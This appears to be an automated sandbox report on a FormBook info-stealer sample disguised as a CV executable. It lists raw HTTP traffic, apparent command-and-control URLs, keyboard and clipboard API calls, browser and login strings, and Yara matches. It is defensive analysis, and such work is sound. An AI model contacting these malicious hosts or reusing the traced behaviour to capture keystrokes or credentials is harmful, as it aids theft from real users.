Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 24 Nov 2024 07:12:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 4d e2 f4 53 1e 05 e4 b4 28 14 85 18 2e 87 e4 9a fb ca ee 50 34 6d 0b 48 ec a4 49 10 23 46 d3 00 05 82 16 7d a1 e8 a7 02 f2 43 8d e2 87 f2 17 76 ff 51 cf 9d d9 5d 2e 29 52 7e c4 29 2a 40 12 39 3b 73 e7 ce bd e7 9e 7b 67 66 9b a7 7b 81 2d a7 a1 60 43 e9 b9 ed 26 fd 65 b6 cb e3 b8 55 71 e2 0e ef f1 50 3a bb a2 c2 5c ee 0f 5a 95 68 5c 41 1f c1 7b ed a6 27 24 67 f6 90 47 b1 90 ad ca 7b 97 7e 69 9c c3 33 d5 ea 73 4f b4 2a 21 8f 46 8e 3f a8 30 3b f0 a5 f0 d1 29 12 83 68 6c 44 90 39 df 73 d7 11 93 30 88 64 a9 eb c4 e9 c9 61 ab 27 76 1d 5b 18 ea 4b c3 f1 1d e9 70 d7 88 6d ee 8a d6 3a 44 48 47 ba a2 3d 99 4c cc 78 e4 f2 9e e1 7c 68 06 be eb f8 a2 69 e9 47 4d 7c 19 b1 48 b8 ad 4a 2c a7 ae 88 87 42 60 16 4f f4 1c de aa 70 d7 ad b0 61 24 fa 85 ae 4a 37 83 8f 65 60 da 71 8c 19 66 e3 1d ac 22 ef dd e7 50 2b f0 4d fc d9 5c af 30 32 1f ac e5 f1 81 b0 ae 18 aa 63 bb 19 db 91 13 ca b6 75 a6 79 7a fb 8d 8b af 5d 7a 6d fb 8c 75 6a e2 f8 bd 60 62 ca 88 db a3 2d d5 e1 ad 80 f7 58 8b f5 c7 be 2d 9d c0 af d5 af ed 6d 9c b2 ce ec ec b4 cf 58 4d 2b 13 92 09 63 58 1c ba b7 2a cb c5 d4 aa 96 c7 7d a7 2f 62 69 5e 8e ab f5 0a fa 8b 28 0a a2 a7 1c d0 60 eb 18 13 47 76 ab 52 16 04 a7 e4 4e 1e cb be 72 f2 33 eb 45 88 81 df c8 22 f1 53 eb b6 38 a8 ac df c2 b3 93 74 b4 34 5c bb 41 6f 9a 03 bb 6b 84 f0 15 d3 ff 3a e4 be 4e 06 56 d5 a6 60 3b fb d4 e9 0e 3a ae 33 18 4a e0 81 64 89 a8 2c 47 75 ee 74 b2 07 24 72 ae 45 4b cf 20 df 73 76 57 0e 35 fc 40 92 4a 52 5c c1 44 c9 37 c9 51 f2 28 39 48 1e b3 e4 bb 64 3f fd 08 1f ef 25 87 e9 c7 e9 0d 7c 3e c4 ef 51 72 37 d9 a7 c7 77 d7 fc 6e 1c 6e 34 11 8c 3a 6c bb 06 a1 36 c7 ea 50 ca 30 be 60 59 88 3d 13 d1 ab 83 c1 0f fa 81 eb 06 13 e6 07 41 28 80 12 7c 40 1c 00 2d 22 02 9e 79 34 a0 98 ee 74 11 f4 23 28 f3 57 9a dd 4c 3f 4a 6f 36 2d de 6e 5a 58 47 bb b9 b0 98 81 e8 74 b2 40 37 26 11 0f 43 08 cd 0c bc d8 de 51 b1 d8 41 2c 80 15 56 76 52 6e 19 06 b1 04 87 18 b1 e4 d2 b1 e1 80 85 59 e7 6c 6d 64 f3 93 9f d6 67 d6 58 f0 88 a1 a8 a1 b2 9c 36 86 eb ed 66 b8 7a 68 4f 68 10 23 52 9f dd 55 cd 6e d4 4e 0e b5 b7 92 1f c8 8d c9 0f ca b5 0f 8e 39 73 ce e2 e1 aa 55 77 c7 52 06 7e 9c 9b 1b cb 2e 61 40 3f 84 96 fa 03 7c e0 06 51 47 39 59 f8 36 21 2d 7b 10 3b 57 45 07 ee f7 b8 ab 7c 91 99 b4 18 5f 98 2f eb af fc 02 46 2e 89 08 79 af 07 2f 75 5c 02 ce 22 f0 88 9e 35 f8 ac c9 30 70 62 6b d3 1e 0a 7b d4 5a eb a9 34 b1 84 bd d7 b8 17 6e 60 48 27 0e c6 91 2d 5a b9 06 c4 cb 95 f6 6f 48 08 e1 90 95 97 4b 61 53 56 5f 11 77 29 1a 4f 5e 4e 2f f0 b8 53 d0 7b 1e 32 25 cd 75 07 cb 17 13 6b 73 2c bd 5c b3 65 ca d3 63 4a 30 63 2f 57 7c 8d 9a 6c 2c 8a 3b 03 bf 15 c3 4c 7e af 03 51 27 af 33 f9 3b 60 f1 9f e4 80 a5 9f 26 47 e9 67 e9 4d 96 dc cf 49 e1 74 29 0e e3 90 fb 4b 10 1b 46 81 17 18 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 24 Nov 2024 07:13:01 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 4d e2 f4 53 1e 05 e4 b4 28 14 85 18 2e 87 e4 9a fb ca ee 50 34 6d 0b 48 ec a4 49 10 23 46 d3 00 05 82 16 7d a1 e8 a7 02 f2 43 8d e2 87 f2 17 76 ff 51 cf 9d d9 5d 2e 29 52 7e c4 29 2a 40 12 39 3b 73 e7 ce bd e7 9e 7b 67 66 9b a7 7b 81 2d a7 a1 60 43 e9 b9 ed 26 fd 65 b6 cb e3 b8 55 71 e2 0e ef f1 50 3a bb a2 c2 5c ee 0f 5a 95 68 5c 41 1f c1 7b ed a6 27 24 67 f6 90 47 b1 90 ad ca 7b 97 7e 69 9c c3 33 d5 ea 73 4f b4 2a 21 8f 46 8e 3f a8 30 3b f0 a5 f0 d1 29 12 83 68 6c 44 90 39 df 73 d7 11 93 30 88 64 a9 eb c4 e9 c9 61 ab 27 76 1d 5b 18 ea 4b c3 f1 1d e9 70 d7 88 6d ee 8a d6 3a 44 48 47 ba a2 3d 99 4c cc 78 e4 f2 9e e1 7c 68 06 be eb f8 a2 69 e9 47 4d 7c 19 b1 48 b8 ad 4a 2c a7 ae 88 87 42 60 16 4f f4 1c de aa 70 d7 ad b0 61 24 fa 85 ae 4a 37 83 8f 65 60 da 71 8c 19 66 e3 1d ac 22 ef dd e7 50 2b f0 4d fc d9 5c af 30 32 1f ac e5 f1 81 b0 ae 18 aa 63 bb 19 db 91 13 ca b6 75 a6 79 7a fb 8d 8b af 5d 7a 6d fb 8c 75 6a e2 f8 bd 60 62 ca 88 db a3 2d d5 e1 ad 80 f7 58 8b f5 c7 be 2d 9d c0 af d5 af ed 6d 9c b2 ce ec ec b4 cf 58 4d 2b 13 92 09 63 58 1c ba b7 2a cb c5 d4 aa 96 c7 7d a7 2f 62 69 5e 8e ab f5 0a fa 8b 28 0a a2 a7 1c d0 60 eb 18 13 47 76 ab 52 16 04 a7 e4 4e 1e cb be 72 f2 33 eb 45 88 81 df c8 22 f1 53 eb b6 38 a8 ac df c2 b3 93 74 b4 34 5c bb 41 6f 9a 03 bb 6b 84 f0 15 d3 ff 3a e4 be 4e 06 56 d5 a6 60 3b fb d4 e9 0e 3a ae 33 18 4a e0 81 64 89 a8 2c 47 75 ee 74 b2 07 24 72 ae 45 4b cf 20 df 73 76 57 0e 35 fc 40 92 4a 52 5c c1 44 c9 37 c9 51 f2 28 39 48 1e b3 e4 bb 64 3f fd 08 1f ef 25 87 e9 c7 e9 0d 7c 3e c4 ef 51 72 37 d9 a7 c7 77 d7 fc 6e 1c 6e 34 11 8c 3a 6c bb 06 a1 36 c7 ea 50 ca 30 be 60 59 88 3d 13 d1 ab 83 c1 0f fa 81 eb 06 13 e6 07 41 28 80 12 7c 40 1c 00 2d 22 02 9e 79 34 a0 98 ee 74 11 f4 23 28 f3 57 9a dd 4c 3f 4a 6f 36 2d de 6e 5a 58 47 bb b9 b0 98 81 e8 74 b2 40 37 26 11 0f 43 08 cd 0c bc d8 de 51 b1 d8 41 2c 80 15 56 76 52 6e 19 06 b1 04 87 18 b1 e4 d2 b1 e1 80 85 59 e7 6c 6d 64 f3 93 9f d6 67 d6 58 f0 88 a1 a8 a1 b2 9c 36 86 eb ed 66 b8 7a 68 4f 68 10 23 52 9f dd 55 cd 6e d4 4e 0e b5 b7 92 1f c8 8d c9 0f ca b5 0f 8e 39 73 ce e2 e1 aa 55 77 c7 52 06 7e 9c 9b 1b cb 2e 61 40 3f 84 96 fa 03 7c e0 06 51 47 39 59 f8 36 21 2d 7b 10 3b 57 45 07 ee f7 b8 ab 7c 91 99 b4 18 5f 98 2f eb af fc 02 46 2e 89 08 79 af 07 2f 75 5c 02 ce 22 f0 88 9e 35 f8 ac c9 30 70 62 6b d3 1e 0a 7b d4 5a eb a9 34 b1 84 bd d7 b8 17 6e 60 48 27 0e c6 91 2d 5a b9 06 c4 cb 95 f6 6f 48 08 e1 90 95 97 4b 61 53 56 5f 11 77 29 1a 4f 5e 4e 2f f0 b8 53 d0 7b 1e 32 25 cd 75 07 cb 17 13 6b 73 2c bd 5c b3 65 ca d3 63 4a 30 63 2f 57 7c 8d 9a 6c 2c 8a 3b 03 bf 15 c3 4c 7e af 03 51 27 af 33 f9 3b 60 f1 9f e4 80 a5 9f 26 47 e9 67 e9 4d 96 dc cf 49 e1 74 29 0e e3 90 fb 4b 10 1b 46 81 17 18 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 24 Nov 2024 07:13:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 64 31 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 4d e2 f4 53 1e 05 e4 b4 28 14 85 18 2e 87 e4 9a fb ca ee 50 34 6d 0b 48 ec a4 49 10 23 46 d3 00 05 82 16 7d a1 e8 a7 02 f2 43 8d e2 87 f2 17 76 ff 51 cf 9d d9 5d 2e 29 52 7e c4 29 2a 40 12 39 3b 73 e7 ce bd e7 9e 7b 67 66 9b a7 7b 81 2d a7 a1 60 43 e9 b9 ed 26 fd 65 b6 cb e3 b8 55 71 e2 0e ef f1 50 3a bb a2 c2 5c ee 0f 5a 95 68 5c 41 1f c1 7b ed a6 27 24 67 f6 90 47 b1 90 ad ca 7b 97 7e 69 9c c3 33 d5 ea 73 4f b4 2a 21 8f 46 8e 3f a8 30 3b f0 a5 f0 d1 29 12 83 68 6c 44 90 39 df 73 d7 11 93 30 88 64 a9 eb c4 e9 c9 61 ab 27 76 1d 5b 18 ea 4b c3 f1 1d e9 70 d7 88 6d ee 8a d6 3a 44 48 47 ba a2 3d 99 4c cc 78 e4 f2 9e e1 7c 68 06 be eb f8 a2 69 e9 47 4d 7c 19 b1 48 b8 ad 4a 2c a7 ae 88 87 42 60 16 4f f4 1c de aa 70 d7 ad b0 61 24 fa 85 ae 4a 37 83 8f 65 60 da 71 8c 19 66 e3 1d ac 22 ef dd e7 50 2b f0 4d fc d9 5c af 30 32 1f ac e5 f1 81 b0 ae 18 aa 63 bb 19 db 91 13 ca b6 75 a6 79 7a fb 8d 8b af 5d 7a 6d fb 8c 75 6a e2 f8 bd 60 62 ca 88 db a3 2d d5 e1 ad 80 f7 58 8b f5 c7 be 2d 9d c0 af d5 af ed 6d 9c b2 ce ec ec b4 cf 58 4d 2b 13 92 09 63 58 1c ba b7 2a cb c5 d4 aa 96 c7 7d a7 2f 62 69 5e 8e ab f5 0a fa 8b 28 0a a2 a7 1c d0 60 eb 18 13 47 76 ab 52 16 04 a7 e4 4e 1e cb be 72 f2 33 eb 45 88 81 df c8 22 f1 53 eb b6 38 a8 ac df c2 b3 93 74 b4 34 5c bb 41 6f 9a 03 bb 6b 84 f0 15 d3 ff 3a e4 be 4e 06 56 d5 a6 60 3b fb d4 e9 0e 3a ae 33 18 4a e0 81 64 89 a8 2c 47 75 ee 74 b2 07 24 72 ae 45 4b cf 20 df 73 76 57 0e 35 fc 40 92 4a 52 5c c1 44 c9 37 c9 51 f2 28 39 48 1e b3 e4 bb 64 3f fd 08 1f ef 25 87 e9 c7 e9 0d 7c 3e c4 ef 51 72 37 d9 a7 c7 77 d7 fc 6e 1c 6e 34 11 8c 3a 6c bb 06 a1 36 c7 ea 50 ca 30 be 60 59 88 3d 13 d1 ab 83 c1 0f fa 81 eb 06 13 e6 07 41 28 80 12 7c 40 1c 00 2d 22 02 9e 79 34 a0 98 ee 74 11 f4 23 28 f3 57 9a dd 4c 3f 4a 6f 36 2d de 6e 5a 58 47 bb b9 b0 98 81 e8 74 b2 40 37 26 11 0f 43 08 cd 0c bc d8 de 51 b1 d8 41 2c 80 15 56 76 52 6e 19 06 b1 04 87 18 b1 e4 d2 b1 e1 80 85 59 e7 6c 6d 64 f3 93 9f d6 67 d6 58 f0 88 a1 a8 a1 b2 9c 36 86 eb ed 66 b8 7a 68 4f 68 10 23 52 9f dd 55 cd 6e d4 4e 0e b5 b7 92 1f c8 8d c9 0f ca b5 0f 8e 39 73 ce e2 e1 aa 55 77 c7 52 06 7e 9c 9b 1b cb 2e 61 40 3f 84 96 fa 03 7c e0 06 51 47 39 59 f8 36 21 2d 7b 10 3b 57 45 07 ee f7 b8 ab 7c 91 99 b4 18 5f 98 2f eb af fc 02 46 2e 89 08 79 af 07 2f 75 5c 02 ce 22 f0 88 9e 35 f8 ac c9 30 70 62 6b d3 1e 0a 7b d4 5a eb a9 34 b1 84 bd d7 b8 17 6e 60 48 27 0e c6 91 2d 5a b9 06 c4 cb 95 f6 6f 48 08 e1 90 95 97 4b 61 53 56 5f 11 77 29 1a 4f 5e 4e 2f f0 b8 53 d0 7b 1e 32 25 cd 75 07 cb 17 13 6b 73 2c bd 5c b3 65 ca d3 63 4a 30 63 2f 57 7c 8d 9a 6c 2c 8a 3b 03 bf 15 c3 4c 7e af 03 51 27 af 33 f9 3b 60 f1 9f e4 80 a5 9f 26 47 e9 67 e9 4d 96 dc cf 49 e1 74 29 0e e3 90 fb 4b 10 1b 46 81 17 18 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 24 Nov 2024 07:13:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeData Raw: 32 34 66 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 72 65 67 72 75 2d 72 64 61 70 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 77 77 77 2e 73 6b 6c 61 64 2d 69 71 2e 6f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 3c 73 63 72 69 70 74 3e 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 0a 2f 2a 5d 5d 3e 2a 2f 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 2f 6d 61 6e 69 66 65 73 74 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 62 2d 70 61 67 65 20 62 2d 70 61 67 65 5f 74 79 70 65 5f 70 61 72 6b 69 6e 67 20 62 2d 70 61 72 6b 69 6e 67 20 62 2d 70 61 72 6b 69 6e 67 5f 62 67 5f 6c 69 67 68 74 22 3e 3c 68 65 61 64 65 72 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 20 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 5f 74 79 70 65 5f 72 64 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 2d 6e 6f 74 65 20 62 2d 74 65 78 74 22 3e d0 94 d0 be d0 bc d0 b5 d0 bd 20 d0 b7 d0 b0 d1 80 d0 b5 d0 b3 d0 b

Source: DIRZUznVUfWlad.exe, 00000007.00000002.4145384093.0000000003E28000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://narman.com/
Source: DIRZUznVUfWlad.exe, 00000007.00000002.4147404593.0000000004F39000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.sklad-iq.online
Source: DIRZUznVUfWlad.exe, 00000007.00000002.4147404593.0000000004F39000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.sklad-iq.online/gdvz/
Source: winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: winver.exe, 00000006.00000002.4146215002.00000000064C2000.00000004.10000000.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000002.4145384093.0000000003972000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://help.reg.ru/support/ssl-sertifikaty/1-etap-zakaz-ssl-sertifikata/kak-zakazat-besplatnyy-ssl-
Source: winver.exe, 00000006.00000002.4144237864.0000000003286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: winver.exe, 00000006.00000002.4144237864.0000000003286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: winver.exe, 00000006.00000002.4144237864.0000000003286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: winver.exe, 00000006.00000002.4144237864.0000000003286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: winver.exe, 00000006.00000002.4144237864.0000000003286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: winver.exe, 00000006.00000002.4144237864.0000000003286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: winver.exe, 00000006.00000003.2220349764.0000000008035000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://parking.reg.ru/script/get_domain_data?domain_name=www.sklad-iq.online&rand=
Source: winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000002.4145384093.000000000414C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://reg.ru
Source: winver.exe, 00000006.00000002.4146215002.0000000005CE8000.00000004.10000000.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000002.4145384093.0000000003198000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.bt.cn/?from=404
Source: winver.exe, 00000006.00000002.4148412401.0000000008058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: winver.exe, 00000006.00000002.4146215002.00000000059C4000.00000004.10000000.00040000.00000000.sdmp, DIRZUznVUfWlad.exe, 00000007.00000002.4145384093.0000000002E74000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2341761570.000000003EA84000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.grandesofertas.fun/wu6o/?3vNdCBvX=PAJ2EBywaoPRtAOAuLkHmGqEo3O5GOPxYR74cZ8tmddFXtcUCShy8K
Source: winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/dedicated/?utm_source=www.sklad-iq.online&utm_medium=parking&utm_campaign=s_land_
Source: winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/domain/new/?utm_source=www.sklad-iq.online&utm_medium=parking&utm_campaign=s_land
Source: winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/hosting/?utm_source=www.sklad-iq.online&utm_medium=parking&utm_campaign=s_land_ho
Source: winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/sozdanie-saita/
Source: winver.exe, 00000006.00000002.4146215002.0000000006C9C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/whois/?check=&dname=www.sklad-iq.online&reg_source=parking_auto

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003D6B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_003D6B0C

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003D6D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_003D6D07

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

0_2_003D6B0C

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003C2B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_003C2B37

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003EF7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_003EF7FF

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4145192791.0000000004BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2031660118.00000000038D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4145128691.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2036469634.0000000004000000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2031290785.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4145164327.00000000028E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4143976665.0000000003000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00383D19
Source: CV Lic H&S Olivetti Renzo.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: CV Lic H&S Olivetti Renzo.exe, 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_63e21c6a-c
Source: CV Lic H&S Olivetti Renzo.exe, 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: ;SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_fd29418b-e
Source: CV Lic H&S Olivetti Renzo.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_182799a4-4
